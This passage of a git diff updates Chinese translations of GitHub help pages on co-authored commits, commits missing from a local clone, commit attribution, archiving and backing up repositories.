For the co-author's commit to count as a contribution, you must use the email associated with their account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %}. +向提交添加合作作者之前,您必须知道用于每个合作作者的适当电子邮件地址。 为使合作作者的提交计为贡献,您必须使用与他们在 {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} 上的帐户相关联的电子邮件。 {% ifversion fpt or ghec %} -If a person chooses to keep their email address private, you should use their {% data variables.product.product_name %}-provided `no-reply` email to protect their privacy. Otherwise, the co-author's email will be available to the public in the commit message. If you want to keep your email private, you can choose to use a {% data variables.product.product_name %}-provided `no-reply` email for Git operations and ask other co-authors to list your `no-reply` email in commit trailers. +如果用户选择将其电子邮件地址保密,则应使用其 {% data variables.product.product_name %} 提供的 `no-reply` 电子邮件地址来保护其隐私。 否则,合作作者的电子邮件地址将在提交消息中公开。 如果要保持电子邮件地址的私密性,可选择使用 {% data variables.product.product_name %} 为 Git 操作提供的 `no-reply` 电子邮件地址,并要求其他共同作者在提交尾行中列出你的 `no-reply` 电子邮件地址。 -For more information, see "[Setting your commit email address](/articles/setting-your-commit-email-address)." +有关详细信息,请参阅“[设置提交电子邮件地址](/articles/setting-your-commit-email-address)”。 {% tip %} - **Tip:** You can help a co-author find their preferred email address by sharing this information: - - To find your {% data variables.product.product_name %}-provided `no-reply` email, navigate to your email settings page under "Keep my email address private." - - To find the email you used to configure Git on your computer, run `git config user.email` on the command line. + 提示:通过分享此信息可帮助共同作者找到其首选电子邮件地址: + - 若要查找 {% data variables.product.product_name %} 提供的 `no-reply` 电子邮件地址,请导航至“将我的电子邮件地址保密”下的电子邮件设置页面。 + - 若要在计算机上查找用于配置 Git 的电子邮件地址,请在命令行上运行 `git config user.email`。 {% endtip %} {% endif %} -## Creating co-authored commits using {% data variables.product.prodname_desktop %} +## 使用 {% data variables.product.prodname_desktop %} 创建合作提交 -You can use {% data variables.product.prodname_desktop %} to create a commit with a co-author. For more information, see "[Write a commit message and push your changes](/desktop/contributing-to-projects/committing-and-reviewing-changes-to-your-project#4-write-a-commit-message-and-push-your-changes)" and [{% data variables.product.prodname_desktop %}](https://desktop.github.com). +可以使用 {% data variables.product.prodname_desktop %} 创建合作提交。 有关详细信息,请参阅“[编写提交消息并推送更改](/desktop/contributing-to-projects/committing-and-reviewing-changes-to-your-project#4-write-a-commit-message-and-push-your-changes)”和 [{% data variables.product.prodname_desktop %}](https://desktop.github.com)。 -![Add a co-author to the commit message](/assets/images/help/desktop/co-authors-demo-hq.gif) +![添加合作作者到提交消息](/assets/images/help/desktop/co-authors-demo-hq.gif) -## Creating co-authored commits on the command line +## 在命令行上创建合作提交 {% data reusables.pull_requests.collect-co-author-commit-git-config-info %} -1. Type your commit message and a short, meaningful description of your changes. After your commit description, instead of a closing quotation, add two empty lines. - ``` +1. 输入提交消息以及简短、有意义的更改描述。 在提交描述后,不要加上右引号,而是添加两个空行。 + ```shell $ git commit -m "Refactor usability tests. > > ``` {% tip %} - **Tip:** If you're using a text editor on the command line to type your commit message, ensure there are two newlines between the end of your commit description and the `Co-authored-by:` commit trailer. + **提示:** 如果在命令行上使用文本编辑器来键入提交消息,请确保在提交描述的末尾和 `Co-authored-by:` 提交尾部之间有两个换行符。 {% endtip %} -3. On the next line of the commit message, type `Co-authored-by: name ` with specific information for each co-author. After the co-author information, add a closing quotation mark. +3. 在提交消息的下一行,根据每个共同作者的特定信息键入 `Co-authored-by: name `。 在合作作者的信息后面,添加一个右引号。 - If you're adding multiple co-authors, give each co-author their own line and `Co-authored-by:` commit trailer. - ``` + 如果要添加多个共同作者,请为每个共同作者键入一个 `Co-authored-by:` 提交尾行。 + ```shell $ git commit -m "Refactor usability tests. > > - Co-authored-by: NAME - Co-authored-by: AUTHOR-NAME " + Co-authored-by: name <name@example.com> + Co-authored-by: another-name <another-name@example.com>" ``` -The new commit and message will appear on {% data variables.location.product_location %} the next time you push. For more information, see "[Pushing changes to a remote repository](/github/getting-started-with-github/pushing-commits-to-a-remote-repository/)." +在下次推送时,新的提交和消息将显示在 {% data variables.product.product_location %} 上。 有关详细信息,请参阅“[将更改推送到远程存储库](/github/getting-started-with-github/pushing-commits-to-a-remote-repository/)”。 -## Creating co-authored commits on {% data variables.product.product_name %} +## 在 {% data variables.product.product_name %} 上创建合作提交 -After you've made changes in a file using the web editor on {% data variables.product.product_name %}, you can create a co-authored commit by adding a `Co-authored-by:` trailer to the commit's message. +在 {% data variables.product.product_name %} 上使用 Web 编辑器对文件进行更改后,可通过在提交消息中添加 `Co-authored-by:` 尾行来创建共同创作的提交。 {% data reusables.pull_requests.collect-co-author-commit-git-config-info %} -2. After making your changes together, at the bottom of the page, type a short, meaningful commit message that describes the changes you made. - ![Commit message for your change](/assets/images/help/repository/write-commit-message-quick-pull.png) -3. In the text box below your commit message, add `Co-authored-by: name ` with specific information for each co-author. If you're adding multiple co-authors, give each co-author their own line and `Co-authored-by:` commit trailer. +2. 合作进行更改后,在页面底部键入简短、有意义的提交消息,以描述你们所做的更改。 + ![有关更改的提交消息](/assets/images/help/repository/write-commit-message-quick-pull.png) +3. 在提交消息下方的文本框中,根据每个共同作者的特定信息添加 `Co-authored-by: name `。 如果要添加多个共同作者,请为每个共同作者键入一个 `Co-authored-by:` 提交尾行。 - ![Commit message co-author trailer example in second commit message text box](/assets/images/help/repository/write-commit-message-co-author-trailer.png) -4. Click **Commit changes** or **Propose changes**. + ![第二个提交消息文本框中的提交消息合作作者尾行示例](/assets/images/help/repository/write-commit-message-co-author-trailer.png) +4. 单击“提交更改”或“建议更改” 。 -The new commit and message will appear on {% data variables.location.product_location %}. +新的提交和消息将显示在 {% data variables.product.product_location %} 上。 -## Further reading +## 延伸阅读 {% ifversion ghes or ghae %} -- "[Viewing contributions on your profile](/articles/viewing-contributions-on-your-profile)" -- "[Why are my contributions not showing up on my profile?](/articles/why-are-my-contributions-not-showing-up-on-my-profile)"{% endif %} -- "[Viewing a project's contributors](/articles/viewing-a-projects-contributors)" -- "[Changing a commit message](/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/changing-a-commit-message)" -- "[Committing and reviewing changes to your project](/desktop/contributing-to-projects/committing-and-reviewing-changes-to-your-project#4-write-a-commit-message-and-push-your-changes)" in the {% data variables.product.prodname_desktop %} documentation +- [在个人资料中查看贡献](/articles/viewing-contributions-on-your-profile) +- [为什么我的贡献未显示在我的个人资料上?](/articles/why-are-my-contributions-not-showing-up-on-my-profile){% endif %} +- [查看项目的参与者](/articles/viewing-a-projects-contributors) +- [更改提交消息](/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/changing-a-commit-message) +- {% data variables.product.prodname_desktop %} 文档中的“[提交并审查对项目的更改](/desktop/contributing-to-projects/committing-and-reviewing-changes-to-your-project#4-write-a-commit-message-and-push-your-changes)” diff --git a/translations/zh-CN/content/pull-requests/committing-changes-to-your-project/troubleshooting-commits/commit-exists-on-github-but-not-in-my-local-clone.md b/translations/zh-CN/content/pull-requests/committing-changes-to-your-project/troubleshooting-commits/commit-exists-on-github-but-not-in-my-local-clone.md index ceab766830..a7f00651ac 100644 --- a/translations/zh-CN/content/pull-requests/committing-changes-to-your-project/troubleshooting-commits/commit-exists-on-github-but-not-in-my-local-clone.md +++ b/translations/zh-CN/content/pull-requests/committing-changes-to-your-project/troubleshooting-commits/commit-exists-on-github-but-not-in-my-local-clone.md @@ -1,6 +1,6 @@ --- -title: Commit exists on GitHub but not in my local clone -intro: 'Sometimes a commit will be viewable on {% data variables.product.product_name %}, but will not exist in your local clone of the repository.' +title: 存在于 GitHub 上但不存在于本地克隆中的提交 +intro: '有时,提交可以在 {% data variables.product.product_name %} 上查看到,但不存在于仓库的本地克隆中。' redirect_from: - /articles/commit-exists-on-github-but-not-in-my-local-clone - /github/committing-changes-to-your-project/commit-exists-on-github-but-not-in-my-local-clone @@ -11,62 +11,57 @@ versions: ghae: '*' ghec: '*' shortTitle: Commit missing in local clone +ms.openlocfilehash: 9374b17a111bc3f88bf81d60de97e354c0bcf8ac +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145129447' --- -When you use `git show` to view a specific commit on the command line, you may get a fatal error. +使用 `git show` 在命令行上查看特定提交时,可能会收到灾难性错误。 -For example, you may receive a `bad object` error locally: +例如,可能会在本地收到 `bad object` 错误: ```shell $ git show 1095ff3d0153115e75b7bca2c09e5136845b5592 > fatal: bad object 1095ff3d0153115e75b7bca2c09e5136845b5592 ``` -However, when you view the commit on {% data variables.location.product_location %}, you'll be able to see it without any problems: +但是,当您在 {% data variables.product.product_location %} 上查看该提交时,却可以看到它,并且不会遇到任何问题: `github.com/$account/$repository/commit/1095ff3d0153115e75b7bca2c09e5136845b5592` -There are several possible explanations: +有几种可能的解释: -* The local repository is out of date. -* The branch that contains the commit was deleted, so the commit is no longer referenced. -* Someone force pushed over the commit. +* 本地仓库已过期。 +* 包含提交的分支已被删除,因此该提交的引用不再有效。 +* 有人强制推送了提交。 -## The local repository is out of date +## 本地仓库已过期 -Your local repository may not have the commit yet. To get information from your remote repository to your local clone, use `git fetch`: +您的本地仓库可能还没有提交。 要将信息从远程存储库提取到本地克隆,请使用 `git fetch`: ```shell -$ git fetch REMOTE +$ git fetch remote ``` -This safely copies information from the remote repository to your local clone without making any changes to the files you have checked out. -You can use `git fetch upstream` to get information from a repository you've forked, or `git fetch origin` to get information from a repository you've only cloned. +这可以安全地将信息从远程存储库复制到本地克隆,而无需对已签出的文件进行任何更改。可以使用 `git fetch upstream` 从创建分支的存储库中获取信息,或使用 `git fetch origin` 从仅克隆的存储库中获取信息。 {% tip %} -**Tip**: For more information, read about [managing remotes and fetching data](https://git-scm.com/book/en/Git-Basics-Working-with-Remotes) in the [Pro Git](https://git-scm.com/book) book. +提示:有关详细信息,请阅读 [Pro Git](https://git-scm.com/book) 手册中的[管理远程库并提取数据](https://git-scm.com/book/en/Git-Basics-Working-with-Remotes)。 {% endtip %} -## The branch that contained the commit was deleted +## 包含提交的分支已被删除 -If a collaborator on the repository has deleted the branch containing the commit -or has force pushed over the branch, the missing commit may have been orphaned -(i.e. it cannot be reached from any reference) and therefore will not be fetched -into your local clone. +如果存储库的协作者已删除包含提交的分支或者已强制推送该分支,则缺失的提交可能已为孤立状态(即无法从任何引用访问它),它也因此不会被提取到本地克隆中。 -Fortunately, if any collaborator has a local clone of the repository with the -missing commit, they can push it back to {% data variables.product.product_name %}. They need to make sure the commit -is referenced by a local branch and then push it as a new branch to {% data variables.product.product_name %}. +如果幸好有某个协作者的本地克隆存储库中包含了该缺失的提交,则他们可以将其推送回 {% data variables.product.product_name %}。 他们需要确保通过本地分支引用该提交,然后将其作为新分支推送到 {% data variables.product.product_name %}。 -Let's say that the person still has a local branch (call it `B`) that contains -the commit. This might be tracking the branch that was force pushed or deleted -and they simply haven't updated yet. To preserve the commit, they can push that -local branch to a new branch (call it `recover-B`) on {% data variables.product.product_name %}. For this example, -let's assume they have a remote named `upstream` via which they have push access -to `github.com/$account/$repository`. +假设某人仍有包含该提交的本地分支(称为 `B`)。 这可能会跟踪已被强制推送或删除的分支,它们只是还没有更新。 要保留该提交,可以将该本地分支推送到 {% data variables.product.product_name %} 上的新分支(称为 `recover-B`)。 在此例中,假设他们有一个名为 `upstream` 的远程库,通过该远程库他们可以获得对 `github.com/$account/$repository` 的推送访问权限。 -The other person runs: +他们运行: ```shell $ git branch recover-B B @@ -75,18 +70,18 @@ $ git push upstream B:recover-B # Push local B to new upstream branch, creating new reference to commit ``` -Now, *you* can run: +现在,可以运行: ```shell $ git fetch upstream recover-B # Fetch commit into your local repository. ``` -## Avoid force pushes +## 避免强制推送 -Avoid force pushing to a repository unless absolutely necessary. This is especially true if more than one person can push to the repository. If someone force pushes to a repository, the force push may overwrite commits that other people based their work on. Force pushing changes the repository history and can corrupt pull requests. +除非万不得已,否则应避免向仓库强制推送。 如果可以向仓库推送的人不止一个,这个原则尤为重要。 如果有人强制推送到仓库,则强制推送可能会覆盖其他人基于其工作的承诺。 强制推送会更改存储库历史记录,并可能损坏拉取请求。 -## Further reading +## 延伸阅读 -- ["Working with Remotes" from the _Pro Git_ book](https://git-scm.com/book/en/Git-Basics-Working-with-Remotes) -- ["Data Recovery" from the _Pro Git_ book](https://git-scm.com/book/en/Git-Internals-Maintenance-and-Data-Recovery) +- [Pro Git 手册中的“使用远程库”](https://git-scm.com/book/en/Git-Basics-Working-with-Remotes) +- [Pro Git 手册中的“数据恢复”](https://git-scm.com/book/en/Git-Internals-Maintenance-and-Data-Recovery) diff --git a/translations/zh-CN/content/pull-requests/committing-changes-to-your-project/troubleshooting-commits/why-are-my-commits-linked-to-the-wrong-user.md b/translations/zh-CN/content/pull-requests/committing-changes-to-your-project/troubleshooting-commits/why-are-my-commits-linked-to-the-wrong-user.md index d4d8bbe644..28ec99423c 100644 --- a/translations/zh-CN/content/pull-requests/committing-changes-to-your-project/troubleshooting-commits/why-are-my-commits-linked-to-the-wrong-user.md +++ b/translations/zh-CN/content/pull-requests/committing-changes-to-your-project/troubleshooting-commits/why-are-my-commits-linked-to-the-wrong-user.md @@ -1,58 +1,63 @@ --- -title: Why are my commits linked to the wrong user? +title: 我的提交为什么链接到错误的用户? redirect_from: - /articles/how-do-i-get-my-commits-to-link-to-my-github-account - /articles/why-are-my-commits-linked-to-the-wrong-user - /github/committing-changes-to-your-project/why-are-my-commits-linked-to-the-wrong-user - /github/committing-changes-to-your-project/troubleshooting-commits/why-are-my-commits-linked-to-the-wrong-user -intro: '{% data variables.product.product_name %} uses the email address in the commit header to link the commit to a GitHub user. If your commits are being linked to another user, or not linked to a user at all, you may need to change your local Git configuration settings{% ifversion not ghae %}, add an email address to your account email settings, or do both{% endif %}.' +intro: '{% data variables.product.product_name %} 使用提交标题中的电子邮件地址将提交链接到 GitHub 用户。 如果将提交链接到其他用户,或者根本没有链接到任何用户,你可能需要更改本地 Git 配置设置{% ifversion not ghae %},将电子邮件地址添加到帐户电子邮件设置,或同时执行这两项操作{% endif %}。' versions: fpt: '*' ghes: '*' ghae: '*' ghec: '*' shortTitle: Linked to wrong user +ms.openlocfilehash: 80a871c85aca151f06ca04d1d48d016bd14ed47f +ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/11/2022 +ms.locfileid: '147883033' --- {% tip %} -**Note**: If your commits are linked to another user, that does not mean the user can access your repository. A user can only access a repository you own if you add them as a collaborator or add them to a team that has access to the repository. +注意:如果提交与其他用户关联,这并不意味着该用户能够访问你的存储库。 只有您将用户作为协作者添加或将其添加到具有仓库访问权限的团队时,用户才能访问您拥有的仓库。 {% endtip %} -## Commits are linked to another user +## 提交链接到其他用户 -If your commits are linked to another user, that means the email address in your local Git configuration settings is connected to that user's account on {% data variables.product.product_name %}. In this case, you can change the email in your local Git configuration settings{% ifversion ghae %} to the address associated with your account on {% data variables.product.product_name %} to link your future commits. Old commits will not be linked. For more information, see "[Setting your commit email address](/github/setting-up-and-managing-your-github-user-account/setting-your-commit-email-address#setting-your-commit-email-address-in-git)."{% else %} and add the new email address to your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %} account to link future commits to your account. +如果您的提交链接到其他用户,则意味着本地 Git 配置设置中的电子邮件地址已连接到该用户在 {% data variables.product.product_name %}上的帐户。 在这种情况下,可以将本地 Git 配置设置{% ifversion ghae %}中的电子邮件更改为 {% data variables.product.product_name %} 上与你的帐户关联的地址,以关联未来的提交。 原来的提交不会进行链接。 有关详细信息,请参阅“[设置提交电子邮件地址](/github/setting-up-and-managing-your-github-user-account/setting-your-commit-email-address#setting-your-commit-email-address-in-git)。”{% else %}并将新的电子邮件地址添加到你在 {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} 帐户上的帐户,将未来的提交与你的帐户关联。 -1. To change the email address in your local Git configuration, follow the steps in "[Setting your commit email address](/github/setting-up-and-managing-your-github-user-account/setting-your-commit-email-address#setting-your-commit-email-address-in-git)". If you work on multiple machines, you will need to change this setting on each one. -2. Add the email address from step 2 to your account settings by following the steps in "[Adding an email address to your GitHub account](/articles/adding-an-email-address-to-your-github-account)".{% endif %} +1. 要更改本地 Git 配置中的电子邮件地址,请按照“[设置提交电子邮件地址](/github/setting-up-and-managing-your-github-user-account/setting-your-commit-email-address#setting-your-commit-email-address-in-git)”中的步骤操作。 如果您在多台计算机上工作,则需要在每台计算机上更改此设置。 +2. 按照“[将电子邮件地址添加到 GitHub 帐户](/articles/adding-an-email-address-to-your-github-account)”中的步骤,将第 2 步中的电子邮件地址添加到你的帐户设置中。{% endif %} -Commits you make from this point forward will be linked to your account. +从这时开始,您提交的内容将链接到您的帐户。 -## Commits are not linked to any user +## 提交没有链接到任何用户 -If your commits are not linked to any user, the commit author's name will not be rendered as a link to a user profile. +如果您的提交没有链接到任何用户,则提交作者的名称不会显示为到用户配置文件的链接。 -To check the email address used for those commits and connect commits to your account, take the following steps: +要检查用于这些提交的电子邮件地址并将提交连接到您的帐户,请执行以下步骤: -1. Navigate to the commit by clicking the commit message link. -![Commit message link](/assets/images/help/commits/commit-msg-link.png) -2. To read a message about why the commit is not linked, hover over the blue {% octicon "question" aria-label="Question mark" %} to the right of the username. -![Commit hover message](/assets/images/help/commits/commit-hover-msg.png) +1. 通过单击提交消息链接导航到提交。 +![提交消息关联](/assets/images/help/commits/commit-msg-link.png) +2. 要阅读有关提交未关联原因的消息,请将鼠标悬停在用户名右侧的蓝色 {% octicon "question" aria-label="Question mark" %} 上。 +![提交悬停消息](/assets/images/help/commits/commit-hover-msg.png) - - **Unrecognized author (with email address)** If you see this message with an email address, the address you used to author the commit is not connected to your account on {% data variables.product.product_name %}. {% ifversion not ghae %}To link your commits, [add the email address to your GitHub email settings](/articles/adding-an-email-address-to-your-github-account).{% endif %}{% ifversion not ghae %} If the email address has a Gravatar associated with it, the Gravatar will be displayed next to the commit, rather than the default gray Octocat.{% endif %} - - **Unrecognized author (no email address)** If you see this message without an email address, you used a generic email address that can't be connected to your account on {% data variables.product.product_name %}.{% ifversion not ghae %} You will need to [set your commit email address in Git](/articles/setting-your-commit-email-address), then [add the new address to your GitHub email settings](/articles/adding-an-email-address-to-your-github-account) to link your future commits. Old commits will not be linked.{% endif %} - - **Invalid email** The email address in your local Git configuration settings is either blank or not formatted as an email address.{% ifversion not ghae %} You will need to [set your commit email address in Git](/articles/setting-your-commit-email-address), then [add the new address to your GitHub email settings](/articles/adding-an-email-address-to-your-github-account) to link your future commits. Old commits will not be linked.{% endif %} + - **作者无法识别(有电子邮件地址)** 如果你看到这条消息且有电子邮件地址,则表示用于创作提交的地址未连接到你在 {% data variables.product.product_name %} 上的帐户。 {% ifversion not ghae %}要关联提交,请[将电子邮件地址添加到 GitHub 电子邮件设置](/articles/adding-an-email-address-to-your-github-account)。{% endif %}{% ifversion not ghae %} 如果电子邮件地址关联了 Gravatar,提交旁将显示该 Gravatar,而不是默认的灰色 Octocat。{% endif %} + - **作者无法识别(无电子邮件地址)** 如果你看到这条消息且没有电子邮件地址,则表示使用了无法连接到在 {% data variables.product.product_name %} 上的帐户的通用电子邮件地址。{% ifversion not ghae %}你需要 [在 Git 中设置提交电子邮件地址](/articles/setting-your-commit-email-address),然后 [将新地址添加到 GitHub 电子邮件设置](/articles/adding-an-email-address-to-your-github-account)以关联未来的提交。 旧提交不会链接。{% endif %} + - **电子邮件无效** 本地 Git 配置设置中的电子邮件地址为空白或未格式化为电子邮件地址。{% ifversion not ghae %}你需要 [在 Git 中设置提交电子邮件地址](/articles/setting-your-commit-email-address),然后 [将新地址添加到 GitHub 电子邮件设置](/articles/adding-an-email-address-to-your-github-account)以关联未来的提交。 旧提交不会链接。{% endif %} -{% ifversion ghae %} -You can change the email in your local Git configuration settings to the address associated with your account to link your future commits. Old commits will not be linked. For more information, see "[Setting your commit email address](/github/setting-up-and-managing-your-github-user-account/setting-your-commit-email-address#setting-your-commit-email-address-in-git)." +{% ifversion ghae %} 可以将本地 Git 配置设置中的电子邮件地址更改为与你的帐户关联的地址,以关联未来的提交。 原来的提交不会进行链接。 有关详细信息,请参阅“[设置提交电子邮件地址](/github/setting-up-and-managing-your-github-user-account/setting-your-commit-email-address#setting-your-commit-email-address-in-git)”。 {% endif %} {% warning %} -If your local Git configuration contained a generic email address, or an email address that was already attached to another user's account, then your previous commits will not be linked to your account. While Git does allow you to change the email address used for previous commits, we strongly discourage this, especially in a shared repository. +如果您的本地 Git 配置包含通用电子邮件地址或已附加到其他用户帐户的电子邮件地址,则您之前的提交将不会链接到您的帐户。 虽然 Git 允许您更改用于以前提交的电子邮件地址,但我们强烈反对这样做,尤其是在共享仓库中。 {% endwarning %} -## Further reading +## 延伸阅读 -* "[Searching commits](/search-github/searching-on-github/searching-commits)" +* [搜索提交](/search-github/searching-on-github/searching-commits) diff --git a/translations/zh-CN/content/repositories/archiving-a-github-repository/archiving-repositories.md b/translations/zh-CN/content/repositories/archiving-a-github-repository/archiving-repositories.md index 2257eb1ecd..0ba7978f1f 100644 --- a/translations/zh-CN/content/repositories/archiving-a-github-repository/archiving-repositories.md +++ b/translations/zh-CN/content/repositories/archiving-a-github-repository/archiving-repositories.md @@ -1,6 +1,6 @@ --- -title: Archiving repositories -intro: You can archive a repository to make it read-only for all users and indicate that it's no longer actively maintained. You can also unarchive repositories that have been archived. +title: 存档仓库 +intro: 您可以存档仓库,将其设为对所有用户只读,并且指出不再主动维护它。 您也可以取消存档已经存档的仓库。 redirect_from: - /articles/archiving-repositories - /github/creating-cloning-and-archiving-repositories/archiving-repositories @@ -15,54 +15,43 @@ versions: ghec: '*' topics: - Repositories +ms.openlocfilehash: a9d5b33b94e6067bb4decfa8f47da8aa25860da4 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145129429' --- +## 关于存储库存档 -## About repository archival +{% ifversion fpt or ghec %} {% note %} -{% ifversion fpt or ghec %} -{% note %} +注意:如果原本有各存储库计费计划,仍然需要对存档的存储库付费。 如果不想对存档的仓库付费,则必须升级到新产品。 有关详细信息,请参阅“[{% data variables.product.prodname_dotcom %} 的产品](/articles/github-s-products)”。 -**Note:** If you have a legacy per-repository billing plan, you will still be charged for your archived repository. If you don't want to be charged for an archived repository, you must upgrade to a new product. For more information, see "[{% data variables.product.prodname_dotcom %}'s products](/articles/github-s-products)." +{% endnote %} {% endif %} -{% endnote %} -{% endif %} +{% ifversion ghec or ghes > 3.4 or ghae-issue-6329 %} {% note %} -{% ifversion ghec or ghes > 3.4 or ghae > 3.4 %} -{% note %} +注意:使用 {% data variables.product.prodname_GH_advanced_security %} 的客户可以在存档的存储库上启用 {% data variables.product.prodname_secret_scanning %}。 有关详细信息,请参阅“[关于 {% data variables.product.prodname_secret_scanning %}](/code-security/secret-scanning/about-secret-scanning#about-secret-scanning-for-private-repositories)”。 -**Note:** Customers who use {% data variables.product.prodname_GH_advanced_security %} can enable {% data variables.product.prodname_secret_scanning %} on archived repositories. For more information, see "[About {% data variables.product.prodname_secret_scanning %}](/code-security/secret-scanning/about-secret-scanning#about-secret-scanning-for-private-repositories)." - -{% endnote %} -{% endif %} +{% endnote %} {% endif %} {% data reusables.repositories.archiving-repositories-recommendation %} -Once a repository is archived, you cannot add or remove collaborators or teams. Contributors with access to the repository can only fork or star your project. +在仓库存档后,便无法添加或删除协作者或团队。 具有仓库访问权限的贡献者只能对项目复刻或标星。 -When a repository is archived, its issues, pull requests, code, labels, milestones, projects, wiki, releases, commits, tags, branches, reactions, code scanning alerts, comments and permissions become read-only. To make changes in an archived repository, you must unarchive the repository first. +当仓库存档后,其议题、拉取请求、代码、标签、里程碑、项目、wiki、版本、提交、标记、分支、反应、代码扫描警报、评论和权限都会变成只读。 要更改存档的仓库,必须先对仓库取消存档。 -You can search for archived repositories. For more information, see "[Searching for repositories](/search-github/searching-on-github/searching-for-repositories/#search-based-on-whether-a-repository-is-archived)." You can also search for issues and pull requests within archived repositories. For more information, see "[Searching issues and pull requests](/search-github/searching-on-github/searching-issues-and-pull-requests/#search-based-on-whether-a-repository-is-archived)." +您可以搜索已存档的仓库。 有关详细信息,请参阅“[搜索存储库](/search-github/searching-on-github/searching-for-repositories/#search-based-on-whether-a-repository-is-archived)”。 更多信息请参阅“搜索仓库”。 有关详细信息,请参阅“[搜索问题和拉取请求](/search-github/searching-on-github/searching-issues-and-pull-requests/#search-based-on-whether-a-repository-is-archived)”。 -## Archiving a repository +## 存档仓库 {% data reusables.repositories.archiving-repositories-recommendation %} -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-settings %} -3. Under "Danger Zone", click **Archive this repository** - ![Archive this repository button](/assets/images/help/repository/archive-repository.png) -4. Read the warnings. -5. Type the name of the repository you want to archive. - ![Archive repository warnings](/assets/images/help/repository/archive-repository-warnings.png) -6. Click **I understand the consequences, archive this repository**. - -## Unarchiving a repository - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-settings %} -3. Under "Danger Zone", click **Unarchive this repository** - ![Unarchive this repository button](/assets/images/help/repository/unarchive-repository.png) -4. Read the warnings. -5. Type the name of the repository you want to unarchive. - ![Unarchive repository warnings](/assets/images/help/repository/unarchive-repository-warnings.png) -6. Click **I understand the consequences, unarchive this repository**. +{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-settings %} +3. 在“危险区域”下,单击“存档此存储库”或“取消存档此存储库” 。 + ![“存档此存储库”按钮](/assets/images/help/repository/archive-repository.png) +4. 阅读警告。 +5. 输入要存档或取消存档的仓库的名称。 + ![存档存储库警告](/assets/images/help/repository/archive-repository-warnings.png) +6. 单击“我了解后果,存档此存储库”。 diff --git a/translations/zh-CN/content/repositories/archiving-a-github-repository/backing-up-a-repository.md b/translations/zh-CN/content/repositories/archiving-a-github-repository/backing-up-a-repository.md index 79f382bd8d..3e20c82926 100644 --- a/translations/zh-CN/content/repositories/archiving-a-github-repository/backing-up-a-repository.md +++ b/translations/zh-CN/content/repositories/archiving-a-github-repository/backing-up-a-repository.md @@ -1,6 +1,6 @@ --- -title: Backing up a repository -intro: 'You can use{% ifversion ghes or ghae %} Git and{% endif %} the API {% ifversion fpt or ghec %}or a third-party tool {% endif %}to back up your repository.' +title: 备份仓库 +intro: '可使用{% ifversion ghes or ghae %} Git 和{% endif %} API {% ifversion fpt or ghec %}或第三方工具{% endif %}备份仓库。' redirect_from: - /articles/backing-up-a-repository - /github/creating-cloning-and-archiving-repositories/backing-up-a-repository @@ -12,34 +12,39 @@ versions: ghec: '*' topics: - Repositories +ms.openlocfilehash: 3c9a6b5569563858987e338584b3b42bededf716 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/11/2022 +ms.locfileid: '147883447' --- {% ifversion fpt or ghec %} -To download an archive of your repository, you can use the API for user or organization migrations. For more information, see "[Migrations](/rest/reference/migrations)." +要下载仓库的存档,您可以使用 API 进行用户或组织迁移。 有关详细信息,请参阅“[迁移](/rest/reference/migrations)”。 {% else %} -You can download and back up your repositories manually: +您可以手动下载和备份仓库: -- To download a repository's Git data to your local machine, you'll need to clone the repository. For more information, see "[Cloning a repository](/articles/cloning-a-repository)." -- You can also download your repository's wiki. For more information, see "[Adding or editing wiki pages](/communities/documenting-your-project-with-wikis/adding-or-editing-wiki-pages)." +- 要将仓库的 Git 数据下载到本地计算机,您需要克隆该仓库。 有关详细信息,请参阅“[克隆存储库](/articles/cloning-a-repository)”。 +- 还可以下载仓库的 wiki。 有关详细信息,请参阅“[添加或编辑 Wiki 页面](/communities/documenting-your-project-with-wikis/adding-or-editing-wiki-pages)”。 -When you clone a repository or wiki, only Git data, such as project files and commit history, is downloaded. You can use our API to export other elements of your repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %} to your local machine: +克隆仓库或 wiki 时,仅下载 Git 数据,例如项目文件和提交历史记录。 您可以使用我们的 API 将 {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} 上存储库的其他元素导出到本地计算机: -- [Issues](/rest/reference/issues#list-issues-for-a-repository) -- [Pull requests](/rest/reference/pulls#list-pull-requests) -- [Forks](/rest/reference/repos#list-forks) -- [Comments](/rest/reference/issues#list-issue-comments-for-a-repository) -- [Milestones](/rest/reference/issues#list-milestones) -- [Labels](/rest/reference/issues#list-labels-for-a-repository) +- [问题](/rest/reference/issues#list-issues-for-a-repository) +- [拉取请求](/rest/reference/pulls#list-pull-requests) +- [前叉](/rest/reference/repos#list-forks) +- [注释](/rest/reference/issues#list-issue-comments-for-a-repository) +- [里程碑](/rest/reference/issues#list-milestones) +- [标签](/rest/reference/issues#list-labels-for-a-repository) - [Watchers](/rest/reference/activity#list-watchers) - [Stargazers](/rest/reference/activity#list-stargazers) -- [Projects](/rest/reference/projects#list-repository-projects) -{% endif %} +- [Projects](/rest/reference/projects#list-repository-projects) {% endif %} -Once you have {% ifversion ghes or ghae %}a local version of all the content you want to back up, you can create a zip archive and {% else %}downloaded your archive, you can {% endif %}copy it to an external hard drive and/or upload it to a cloud-based backup or storage service such as [Azure Blob Storage](https://docs.microsoft.com/en-us/azure/storage/blobs/storage-blobs-overview/), [Google Drive](https://www.google.com/drive/) or [Dropbox](https://www.dropbox.com/). +一旦拥有{% 